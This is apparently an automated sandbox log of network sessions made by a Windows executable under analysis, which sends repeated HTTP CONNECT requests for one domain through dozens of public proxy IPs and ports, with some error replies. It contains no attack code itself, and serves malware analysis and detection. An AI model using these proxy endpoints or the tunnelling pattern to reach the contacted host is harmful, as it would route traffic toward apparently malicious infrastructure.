Mar 11, 2024 15:21:10.591325045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.388113976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.168489933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:24.887840033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:34.200050116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:52.871886015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
930	192.168.2.9	52945	91.241.217.58	9090	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.046892881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
931	192.168.2.9	53078	157.185.176.44	26589	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.050465107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
932	192.168.2.9	52982	31.148.207.153	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.075007915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
933	192.168.2.9	52948	103.200.135.228	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.078661919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
934	192.168.2.9	52736	39.175.85.98	30001	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.080272913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
935	192.168.2.9	53103	142.54.229.249	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.080332041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
936	192.168.2.9	53025	65.109.152.88	8888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.083322048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.457613945 CET	295	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Mon, 11 Mar 2024 14:21:16 GMT Content-Length: 127 Data Raw: 64 69 61 6c 20 74 63 70 3a 20 6c 6f 6f 6b 75 70 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 6f 6e 20 31 2e 31 2e 31 2e 31 3a 35 33 3a 20 72 65 61 64 20 75 64 70 20 31 30 2e 36 34 2e 32 33 38 2e 32 31 36 3a 35 36 32 32 35 2d 3e 31 2e 31 2e 31 2e 31 3a 35 33 3a 20 69 2f 6f 20 74 69 6d 65 6f 75 74 0a Data Ascii: dial tcp: lookup heygirlisheeverythingyouwantedinaman.com on 1.1.1.1:53: read udp 10.64.238.216:56225->1.1.1.1:53: i/o timeout

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
937	192.168.2.9	52913	175.183.82.221	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.086874962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.518759966 CET	166	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
938	192.168.2.9	53042	161.97.163.52	18693	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.087410927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.825318098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.825680017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.841317892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.825465918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.825736046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:21.825431108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:29.840696096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:45.825058937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
939	192.168.2.9	51084	95.56.254.139	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.087841988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.137933016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
940	192.168.2.9	53041	103.127.52.132	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.089951038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
941	192.168.2.9	53050	159.223.71.71	51213	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.090120077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.834227085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.997232914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.169305086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.497412920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.819359064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
942	192.168.2.9	52860	202.166.219.80	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.091782093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.137932062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
943	192.168.2.9	52583	98.162.25.23	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.092394114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
944	192.168.2.9	52644	68.1.210.163	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.092451096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
945	192.168.2.9	53068	85.239.121.168	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.092978001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
946	192.168.2.9	53096	146.59.18.246	9755	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.129159927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.825361013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
947	192.168.2.9	51206	173.249.33.122	22082	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.138497114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.138052940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.142899036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
948	192.168.2.9	53117	70.166.167.55	57745	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.170773983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
949	192.168.2.9	53118	72.206.181.97	64943	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.171025038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
950	192.168.2.9	53067	221.132.18.38	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.171391010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.559071064 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 14:21:06 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
951	192.168.2.9	53109	121.204.179.70	7777	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.174124002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.934657097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
952	192.168.2.9	53122	192.169.214.249	45108	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.191205025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
953	192.168.2.9	53114	200.43.231.4	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.194179058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
954	192.168.2.9	53119	198.44.255.3	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.229434967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
955	192.168.2.9	53158	192.154.244.92	9000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.248452902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
956	192.168.2.9	52976	120.194.4.157	82	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.257671118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.923106909 CET	319	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 14:21:06 GMT Content-Type: text/html Content-Length: 170 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
957	192.168.2.9	53180	172.67.181.11	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.266303062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
